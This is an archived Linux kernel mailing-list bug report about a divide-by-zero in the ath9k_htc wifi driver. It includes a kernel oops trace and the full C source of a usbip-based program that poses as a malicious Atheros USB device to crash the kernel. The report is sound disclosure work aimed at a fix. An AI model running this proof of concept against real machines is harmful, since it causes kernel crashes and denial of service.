All of lore.kernel.org
 help / color / mirror / Atom feed
From: rtm@csail.mit.edu
To: toke@toke.dk
Cc: linux-wireless@vger.kernel.org
Subject: divide by zero in ath9k_htc_choose_bslot()
Date: Thu, 27 Mar 2025 14:16:12 -0400	[thread overview]
Message-ID: <88967.1743099372@localhost> (raw)

[-- Attachment #1: Type: text/plain, Size: 3535 bytes --]

The attached demo uses usbip to pretend to be a USB device for 

  drivers/net/wireless/ath/ath9k/

It sets up the wifi interface, and then maliciously generates a frame
that claims to be on the USB endpoint that ath9k_htc_rx_msg() passes to
ath9k_wmi_ctrl_rx(). The cmd_id in the frame is 0x1002, or
WMI_SWBA_EVENTID, which causes ath9k_wmi_ctrl_rx() to wake up the
ath9k_wmi_event_tasklet. Which calls ath9k_htc_swba(), which calls
ath9k_htc_choose_bslot(), which says

        intval = priv->cur_beacon_conf.beacon_interval;
        tsf = be64_to_cpu(swba->tsf);
        tsftu = TSF_TO_TU(tsf >> 32, tsf);
        slot = ((tsftu % intval) * ATH9K_HTC_MAX_BCN_VIF) / intval;
        slot = ATH9K_HTC_MAX_BCN_VIF - slot - 1;

At this point beacon_interval is zero, so this divides by zero. On an
amd64, a fault. On a RISC-V, which produces -1 for divide by zero,
slot ends up as 2, which is too large; later on, slot=2 causes
ath9k_htc_send_buffered() to index off the end of the bslot array;
ieee80211_get_buffered_bc() then dereferences the resulting bad vif
pointer.

        vif = priv->beacon.bslot[slot];
        skb = ieee80211_get_buffered_bc(priv->hw, vif);

Changing ath9k_htc_choose_bslot() to return zero if intval is zero makes
the crash go away. I don't know if that would be correct with a real
Atheros device, but it probably doesn't matter since I imagine this
would only ever arise with a broken or malicious USB device.

# uname -a
Linux xxx 6.14.0-rc7 #18 SMP PREEMPT_DYNAMIC Thu Mar 27 11:26:30 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
# cc usbath1c.c
# ./a.out
...
  Oops: divide error: 0000 [#1] PREEMPT SMP PTI
  CPU: 2 UID: 0 PID: 29 Comm: ksoftirqd/2 Not tainted 6.14.0-rc7 #18
  Hardware name: FreeBSD BHYVE/BHYVE, BIOS 14.0 10/17/2021
  RIP: 0010:ath9k_htc_swba+0x5f/0x3a0
  Code: 0f 85 93 02 00 00 48 8b 06 0f b7 8d c0 03 00 00 4c 8d ad b0 03 00 00 4c 89 ef 48 0f c8 48 89 c2 48 c1 ea 20 0f ac d0 0a 31 d2 <f7> f1 8d 04 12 31 d2 f7 f1 89 c3 e8 31 23 56 00 b8 01 00 00 00 29
  RSP: 0018:ffffbc49c014fd88 EFLAGS: 00010246
  RAX: 0000000000000000 RBX: ffff9ef116c1ef40 RCX: 0000000000000000
  RDX: 0000000000000000 RSI: ffff9ef102fc006c RDI: ffff9ef116f56390
  RBP: ffff9ef116f55fe0 R08: 0000000000000800 R09: 0000000000000000
  R10: ffffffff862070c0 R11: 0000000000000210 R12: ffff9ef104b0c0cc
  R13: ffff9ef116f56390 R14: ffff9ef104b0c060 R15: 0000000000000210
  FS:  0000000000000000(0000) GS:ffff9ef42fa80000(0000) knlGS:0000000000000000
  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
  CR2: 00007ffd54f0c1dc CR3: 00000001024f4001 CR4: 00000000003706f0
  DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
  DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
  Call Trace:
   <TASK>
   ? die+0x31/0x80
   ? do_trap+0xd8/0x100
   ? ath9k_htc_swba+0x5f/0x3a0
   ? do_error_trap+0x60/0x80
   ? ath9k_htc_swba+0x5f/0x3a0
   ? exc_divide_error+0x39/0x50
   ? ath9k_htc_swba+0x5f/0x3a0
   ? asm_exc_divide_error+0x1a/0x20
   ? ath9k_htc_swba+0x5f/0x3a0
   ? sched_balance_newidle.isra.0+0x29f/0x3a0
   ath9k_wmi_event_tasklet+0x33/0x150
   tasklet_action_common+0xb3/0x220
   handle_softirqs+0xc5/0x2b0
   ? __pfx_smpboot_thread_fn+0x10/0x10
   run_ksoftirqd+0x20/0x30
   smpboot_thread_fn+0xd8/0x1d0
   kthread+0xe9/0x1f0
   ? __pfx_kthread+0x10/0x10
   ret_from_fork+0x2f/0x50
   ? __pfx_kthread+0x10/0x10
   ret_from_fork_asm+0x1a/0x30
   </TASK>
  Modules linked in:
  ---[ end trace 0000000000000000 ]---
  RIP: 0010:ath9k_htc_swba+0x5f/0x3a0

Robert Morris
rtm@mit.edu


[-- Attachment #2: usbath1c.c --]
[-- Type: application/octet-stream, Size: 19805 bytes --]

//
// CONFIG_ATH9...
// apt install firmware-ath9k-htc
//

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <assert.h>

#define W_PRODUCT 1
#define W_REG 2
#define W_EEPROM 4
#define W_PKT 8
#define W_HDR 16

int which = W_PKT;

unsigned int vendor = 0x0cf3; // Atheros
unsigned int product = 0x9271;

unsigned long aa[] = {
0x20400003e70ull,
0x21000000070ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int aai;

static inline unsigned long real_symx() {
  return aa[aai++];
}

static int started = 0;
static int sai = 0;
static unsigned long symx() {
#define NSYM 256
  static unsigned long sa[NSYM];
  if(started == 0){
    started = 1;
    usleep(200000);
    for(int i = 0; i < NSYM; i++){
      sa[i] = real_symx();
    }
  }
  if(sai >= NSYM){
    return 0;
  }
  return sa[sai++];
}

struct op_common {
  unsigned short version;
  unsigned short code;
  unsigned int status;
};

struct usbip_usb_device {
	char path[256];
	char busid[32];

	uint32_t busnum;
	uint32_t devnum;
	uint32_t speed;

	uint16_t idVendor;
	uint16_t idProduct;
	uint16_t bcdDevice;

	uint8_t bDeviceClass;
	uint8_t bDeviceSubClass;
	uint8_t bDeviceProtocol;
	uint8_t bConfigurationValue;
	uint8_t bNumConfigurations;
	uint8_t bNumInterfaces;
} __attribute__((packed));

struct usbip_header_basic {
  unsigned int command;
  unsigned int seqnum;
  unsigned int devid;
  unsigned int direction;
  unsigned int ep;
};

struct usbip_header_cmd_submit {
  unsigned int transfer_flags;
  int transfer_buffer_length;
  int start_frame;
  int number_of_packets;
  int interval;
  unsigned char setup[8];
};

struct usbip_header_ret_submit {
  int status;
  int actual_length;
  int start_frame;
  int number_of_packets;
  int error_count;
};

int
readable(int fd)
{
  fd_set readfds;
  FD_ZERO(&readfds);
  FD_SET(fd, &readfds);
  struct timeval tv;
  tv.tv_sec = 10;
  tv.tv_usec = 0;
  int ss = select(fd + 1, &readfds, (fd_set*)0, (fd_set*)0, &tv);
  return FD_ISSET(fd, &readfds);
}

int
readn(int fd, void *xbuf, int n)
{
  char *buf = xbuf;
  int got = 0;
  while(got < n){
    if(readable(fd) == 0){
      return -1;
    }
    int cc = read(fd, buf+got, n-got);
    if(cc <= 0){
      perror("usbip0: read");
      return -1;
    }
    got += cc;
  }
  return got;
}

void
mkif(char **xp, int num, int alt, int eps, int cl, int subcl, int proto, int iff)
{
  char *p = *xp;

  // usb_interface_descriptor
  *p++ = 9; // bLength
  *p++ = 4; // bDescriptorType USB_DT_INTERFACE
  *p++ = num; // bInterfaceNumber
  *p++ = alt; // bAlternateSetting
  *p++ = eps; // bNumEndpoints
  *p++ = cl; // bInterfaceClass
  *p++ = subcl; // bInterfaceSubClass
  *p++ = proto; // bInterfaceProtocol
  *p++ = iff; // iInterface

  *xp = p;
}

void
mkad(char **xp, int type, int subtype)
{
  char *p = *xp;

  // Additional Descriptor

  *p++ = 0; // bLength (filled in later)
  *p++ = type; // bDescriptorType
  *p++ = subtype; // bDescriptorSubtype
  
  if(type == 36 && subtype == 1){
    // AS_GENERAL
    *p++ = 1; // bTerminalLink
    *p++ = 1; // bDelay
    *p++ = 1; // wFormatTag PCM
    p++;
  } else if(type == 36 && subtype == 2){
    // FORMAT_TYPE
    *p++ = 1; // bFormatType
    *p++ = 2; // bNrChannels
    *p++ = 3; // bSubframeSize
    *p++ = 24; // bBitResolution
    *p++ = 2; // bSamFreqType 
    *p++ = 2; // bSamFreqType 
    p += 5;
  } else {
    *p++ = 0; // bcdADC
    *p++ = 1;
    *(short*)p = 0x5f; // wTotalLength
    p += 2;
    *p++ = 2; // bInCollection
    *p++ = 1; // baInterfaceNr(0)
    *p++ = 2; // baInterfaceNr(1)
  }

  *(*xp) = p - (*xp); // bLength

  *xp = p;
}

void
mkadx(char **xp, int type, int subtype, int len, int a[])
{
  char *p = *xp;

  // Additional Descriptor

  *p++ = 0; // bLength (filled in later)
  *p++ = type; // bDescriptorType
  *p++ = subtype; // bDescriptorSubtype

  for(int i = 0; i < len - 3; i++)
    *p++ = a[i];

  *(*xp) = p - (*xp); // bLength
  *xp = p;
}

void
mkep(char **xp, int epa, int attr, int maxp)
{
  char *p = *xp;

  // usb_endpoint_descriptor
  *p++ = 9;
  *p++ = 5; // bDescriptorType USB_DT_ENDPOINT
  *p++ = epa; // bEndpointAddress
  *p++ = attr; // bmAttributes
  *(short*)p = maxp; // wMaxPacketSize
  p += 2;
  *p++ = 7; // bInterval
  p += 2; // ???

  *xp = p;
}

int
main(int argc, char *argv[])
{
  struct rlimit r;
  r.rlim_cur = r.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &r);

  int port = 3240;
  int s, yes = 1;
  struct sockaddr_in sin;

  system("echo 0 > /sys/module/usbip_core/parameters/usbip_debug_flag");
  //system("echo 4294967295 > /sys/module/usbip_core/parameters/usbip_debug_flag");

  system("killall usbip");
  sleep(1);

  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);

  s = socket(AF_INET, SOCK_STREAM, 0);
  if(s < 0){
    perror("socket");
    exit(1);
  }

  setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));

  if(bind(s, (struct sockaddr *) &sin, sizeof(sin)) < 0){
    perror("usbxxx: bind");
    exit(1);
  }

  if(listen(s, 3000) < 0){
    perror("usbxxx: listen");
    exit(1);
  }

  system("usbip/src/usbip attach -r 127.0.0.1 -b 1-1 &");
  sleep(2);
  sync();
  sleep(1);

  int s1;
  unsigned sinlen = sizeof(sin);
  s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
  if(s1 < 0){
    perror("accept");
    exit(1);
  }
  close(s);
  
  struct op_common op;
  
  // OP_REQ_IMPORT
  readn(s1, &op, sizeof(op));
  
  char busid[32];
  readn(s1, busid, sizeof(busid));
  
  op.code = htons(0x03); // OP_REP_IMPORT
  op.status = htonl(0); // ST_OK
  
  write(s1, &op, sizeof(op));
  
  struct usbip_usb_device uud;
  memset(&uud, 0, sizeof(uud));
  strcpy(uud.busid, busid);
  //uud.speed = htonl(2); // USB_SPEED_FULL
  uud.speed = htonl(3); // USB_SPEED_HIGH
  //uud.speed = htonl(5); // USB_SPEED_SUPER
  
  write(s1, &uud, sizeof(uud));
  
  // now talking to the kernel

  int cmdno = 0;

  if(fork() == 0){
    close(s1);
    while(1){
      sleep(1);
      if(system("ifconfig -a | grep wlan2") == 0){
        system("ifconfig wlan2 1.2.3.4 up");
        system("ifconfig wlan2");
        exit(0);
      }
    }
    exit(0);
  }

  if(fork() == 0){
    close(s1);
    while(1){
      sleep(1);
      if(system("ifconfig -a | grep wlx020200000000") == 0){
        system("ifconfig wlx020200000000 1.2.3.4 up");
        system("ifconfig wlx020200000000");
        exit(0);
      }
    }
    exit(0);
  }
  
  if(which & W_PRODUCT){
    product ^= symx();
  }

  int done = 0;
  int can_tx = 0;

#define NCMD 10240
  char *cmds[NCMD];
  int cmdw = 0;
  int cmdr = 0;
  
  while(done == 0){
    struct usbip_header_basic ibh;
    //sync(); // don't sync() -- deadlock.
    if(readn(s1, &ibh, sizeof(ibh)) < 0)
      break;

    if(ntohl(ibh.command) == 1){
      // USBIP_CMD_SUBMIT
      struct usbip_header_cmd_submit cs;
      memset(&cs, 0, sizeof(cs));
      if(readn(s1, &cs, sizeof(cs)) < 0)
        break;
      
      int translen = ntohl(cs.transfer_buffer_length);
      unsigned int ep = ntohl(ibh.ep);

      if(ibh.direction == 0){
        char ibuf[4096];
        assert(translen <= sizeof(ibuf));
        if(readn(s1, ibuf, translen) < 0)
          break;

        if(ep == 4){
          if(cmdw < NCMD){
            cmds[cmdw] = malloc(64);
            memcpy(cmds[cmdw], ibuf, 64);
            cmdw += 1;
          }
        }
      
        struct usbip_header_basic obh;
        memset(&obh, 0, sizeof(obh));
        obh.command = htonl(3); // USBIP_RET_SUBMIT
        obh.seqnum = ibh.seqnum;
        obh.devid = ibh.devid;
        obh.direction = htonl(!ntohl(ibh.direction));
        obh.ep = ibh.ep;
        write(s1, &obh, sizeof(obh));
        
        char rsbuf[sizeof(cs)];
        memset(rsbuf, 0, sizeof(rsbuf));
        struct usbip_header_ret_submit *rs = (void*)rsbuf;
        rs->actual_length = htonl(translen);
        write(s1, rs, sizeof(rsbuf));
      
      } else {
        char obuf[20480];
        if(translen > sizeof(obuf)){
          break;
        }
        memset(obuf, 0, sizeof(obuf));
        char *p = obuf;
        if(cs.setup[1] == 0x06){
          // USB_REQ_GET_DESCRIPTOR
          if(cs.setup[0] == 0x80 && cs.setup[3] == 1){
            // USB_DT_DEVICE
            // struct usb_device_descriptor
            obuf[0] = 18; // bLength
            obuf[1] = 1; // bDescriptorType = USB_DT_DEVICE
            obuf[2] = 0x20; // bcdUSB
            obuf[3] = 0x03; // bcdUSB
            obuf[4] = 0; // bDeviceClass
            obuf[5] = 0; // bDeviceSubClass
            obuf[6] = 0; // bDeviceProtocol
            obuf[7] = 64; // bMaxPacketSize0
            *(short*)(obuf+8) = vendor; // idVendor
            *(short*)(obuf+10) = product; // idProduct 
            obuf[12] = 0; // bcdDevice
            obuf[13] = 1; // bcdDevice
            obuf[14] = 2; // iManufacturer
            obuf[15] = 3; // iProduct
            obuf[16] = 1; // iSerial
            obuf[17] = 1; // bNumConfigurations
          } else if(cs.setup[0] == 0x80 && cs.setup[3] == 2){
            // USB_DT_CONFIG
            // struct usb_config_descriptor
            *p++ = 9; // bLength
            *p++ = 2; // USB_DT_CONFIG
            short *lenp = (short*) p;
            *(short*)p = 9 + 4*9 + 15*10 + 2*7; // wTotalLength
            p += 2;
            *p++ = 1; // bNumInterfaces
            *p++ = 1; // bConfigurationValue
            *p++ = 0; // iConfiguration
            *p++ = 0x80; // bmAttributes
            *p++ = 1; // bMaxPower
        
            // mkif(&p, num, alt, eps, cl, subcl, proto, iff)

            mkif(&p, 0, 0, 8, 0xff, 0xff, 0xff, 0);
            mkep(&p, 0x01, 0x02, 0x0200);
            mkep(&p, 0x82, 0x02, 0x0200);
            mkep(&p, 0x83, 0x03, 0x0200);
            mkep(&p, 0x04, 0x03, 0x0200);
            mkep(&p, 0x05, 0x02, 0x0200);
            mkep(&p, 0x86, 0x02, 0x0200);
            mkep(&p, 0x87, 0x03, 0x0200);
            mkep(&p, 0x08, 0x03, 0x0200);
            
            assert(p - obuf <= sizeof(obuf));
            *lenp = p - obuf;

          } else if(cs.setup[0] == 0x80 && cs.setup[3] == 0x0f){
            // USB_DT_BOS
            // struct usb_bos_descriptor
            *p++ = 5; // bLength
            *p++ = 15;
            *(short*)p = 0x002a; // wTotalLength
            p += 2;
            *p++ = 3; // bNumDeviceCaps
            // usb_ext_cap_descriptor
            *p++ = 7; // bLength
            *p++ = 16; // bDescriptorType
            *p++ = 2; // bDevCapabilityType
            *(int*)p = 0x0000f41e; // bmAttributes
            p += 4;
            // usb_ss_cap_descriptor
            *p++ = 10; // bLength
            *p++ = 16; // bDescriptorType
            *p++ = 3; // bDevCapabilityType
            *p++ = 0; // bmAttributes
            *(short*)p = 0xe; // wSpeedsSupported
            p += 2;
            *p++ = 1; // bFunctionalitySupport
            *p++ = 10; // bU1devExitLat
            *(short*)p = 2047; // bU2DevExitLat
            p += 2;
            // usb_ssp_cap_descriptor
            *p++ = 20; // bLength
            *p++ = 16; // bDescriptorType
            *p++ = 10; // bDevCapabilityType
            *p++ = 0; // bReserved
            *(int*)p = 0; // bmAttributes
            p += 4;
            *(short*)p = 1; // bFunctionalitySupport
            p += 2;
            p += 2; // wReserved
            *(int*)p = 0x000a4030;
            p += 4;
            *(int*)p = 0x000a40b0;
            p += 4;
          } else if(cs.setup[0] == 0x80 && cs.setup[3] == 3){
            // USB_DT_STRING
            *p++ = 6; // length
            *p++ = 3; // descriptor type
            *p++ = 'a';
            *p++ = 'b';
            *p++ = 'c';
            *p++ = 'd';
          }
        }

        unsigned char *ibuf = cs.setup;
        
        if(ep == 0x03){
          // asking for response to a previous ep=04 command/request
          // ath9k_hif_usb_reg_in_cb
          // ath9k_htc_rx_msg
          // struct htc_frame_hdr
          static int nth;
          if(nth == 0){
            // driver expects an unsolicited READY
            // htc_process_target_rdy
            *(short*)(obuf+8) = htons(1); // HTC_MSG_READY_ID
          } else if(cmdr < cmdw){
            // a command is waiting to be answered

            char *cmd = cmds[cmdr];
            memcpy(obuf, cmd, 64); // ???

            if(cmd[0] == 0){
              // htc_msg
              int msg_id = ntohs(*(short*)(cmd+8));
              if(msg_id == 2){
                // connect
                *(short*)(obuf+8) = htons(3);
                *(short*)(obuf+10) = htons((1<<8)|0); // service_id
                *(short*)(obuf+12) = htons(4); // endpoint_id
              } else if(msg_id == 5){
                // pipe
                *(short*)(obuf+8) = htons(6);
              }
              if(which & W_REG){
                *(long*)(obuf+8) ^= symx();
              }
            } else if(cmd[0] == 4){
              // wmi_cmd
              int command_id = ntohs(*(short*)(cmd+8));
              if(command_id == 20){
                // WMI_REG_READ_CMDID
                int reg = ntohs(*(short*)(cmd+14));
                memset(obuf+12, 0, 128); // default, esp for multi-read
                if(reg == 0x4020){
                  // REG_READ AR_SREV(ah) 0x4020
                  *(int*)(obuf+12) = htonl(0x00ff | (0x40 << 12));
                } else if(reg == 0x7044){
                  // AR_RTC_STATUS
                  *(int*)(obuf+12) = htonl(0x2); // AR_RTC_STATUS_ON
                } else if(reg == 0x407c){
                  *(int*)(obuf+12) = htonl(0xa55a); // AR_5416_EEPROM_MAGIC
                } else if(reg == 0x2400){
                  // start of eeprom
                  *(short*)(obuf+14) = htons(4); // length
                  *(short*)(obuf+18) = htons(0xffff ^ 4); // checksum
                  *(short*)(obuf+22) = htons((14 << 12) + 2); // version
                  *(short*)(obuf+26) = htons(0x0003); // opCapFlags
                  *(short*)(obuf+38) = htons(0x0202); // macAddr
                }
                if(reg < 0x2400 || (reg > 0x3d60 && reg < 0x8814) || (reg > 0x97f4)){
                  if(which & W_REG){
                    *(long*)(obuf+12) ^= symx();
                  }
                } else if(reg >= 0x2400 && reg <= 0x3d60){
                  if(which & W_EEPROM){
                    *(long*)(obuf+12) ^= symx();
                    *(long*)(obuf+20) ^= symx();
                    *(long*)(obuf+28) ^= symx();
                    *(long*)(obuf+36) ^= symx();
                  }
                } else {
                  // otherwise it's crypto key reset 0x8814 .. 0x97f4
                }
              } else if(command_id == 21){
                // WMI_REG_WRITE_CMDID
                int reg = ntohs(*(short*)(cmd+14));
              } else if(command_id == 32){
                // WMI_REG_RMW_CMDID read-modify-write
              } else if(command_id == 3){
                // WMI_GET_FW_VERSION
                *(short*)(obuf+12) = htons(1); // major
                *(short*)(obuf+14) = htons(3); // minor
                if(which & W_REG){
                  *(long*)(obuf+12) ^= symx();
                }
              } else if(command_id == 5){
                // WMI_ENABLE_INTR_CMDID
                // ifconfig has enabled the interface
                can_tx = 1;
              } else {
              }
            }

            if(which & W_HDR){
              *(long *)obuf ^= symx();
            }

            cmdr++;
          } else {
            translen = 0;
          }

          nth++;
        }
        
        if(ep == 0x02){
          // asking for a packet
          // ath9k_hif_usb_rx_cb
          if(can_tx){
            static int nth = 0;
            printf("sending packet!!!\n");
            usleep(100000);
            if(nth >= 3)
              done = 1;
            translen = 64;
            *(short*)(obuf+2) = 0x4e00; // ATH_USB_RX_STREAM_MODE_TAG
            if(which & W_PKT){
              for(int i = 0; i < translen; i += 8){
                *(long*)(obuf+i) ^= symx();
              }
            }
            nth++;
          } else {
            translen = 0;
          }
        }
      
        struct usbip_header_basic obh;
        memset(&obh, 0, sizeof(obh));
        obh.command = htonl(3); // USBIP_RET_SUBMIT
        obh.seqnum = ibh.seqnum;
        obh.devid = ibh.devid;
        obh.direction = htonl(!ntohl(ibh.direction));
        obh.ep = ibh.ep;
        write(s1, &obh, sizeof(obh));
        
        char rsbuf[sizeof(cs)];
        memset(rsbuf, 0, sizeof(rsbuf));
        struct usbip_header_ret_submit *rs = (void*)rsbuf;
        rs->actual_length = htonl(translen);
        write(s1, rs, sizeof(rsbuf));

        write(s1, obuf, translen);
      }
    } else if(ntohl(ibh.command) == 2){
      // USBIP_CMD_UNLINK
      // struct usbip_header_cmd_unlink uh;
      char buf[sizeof(struct usbip_header_cmd_submit)];
      memset(buf, 0, sizeof(buf));
      if(readn(s1, buf, sizeof(buf)) < 0)
        break;
      unsigned int uh = *(int*)buf;;
      
      struct usbip_header_basic obh;
      memset(&obh, 0, sizeof(obh));
      obh.command = htonl(4); // USBIP_RET_UNLINK
      obh.seqnum = ibh.seqnum;
      obh.devid = ibh.devid;
      obh.direction = htonl(!ntohl(ibh.direction));
      obh.ep = ibh.ep;
      write(s1, &obh, sizeof(obh));

      char rsbuf[sizeof(struct usbip_header_cmd_submit)];
      memset(rsbuf, 0, sizeof(rsbuf));
      write(s1, rsbuf, sizeof(rsbuf));
    }

    cmdno += 1;
  }

  sleep(2);
  close(s1);
  sleep(2);
}

             reply	other threads:[~2025-03-27 18:16 UTC|newest]

Thread overview: 5+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2025-03-27 18:16 rtm [this message]
2025-03-31 12:26 ` divide by zero in ath9k_htc_choose_bslot() Toke Høiland-Jørgensen
2025-03-31 14:17   ` rtm
2025-04-01 18:13     ` Jeff Johnson
2025-04-02  9:09       ` Toke Høiland-Jørgensen

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=88967.1743099372@localhost \
    --to=rtm@csail.mit.edu \
    --cc=linux-wireless@vger.kernel.org \
    --cc=toke@toke.dk \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.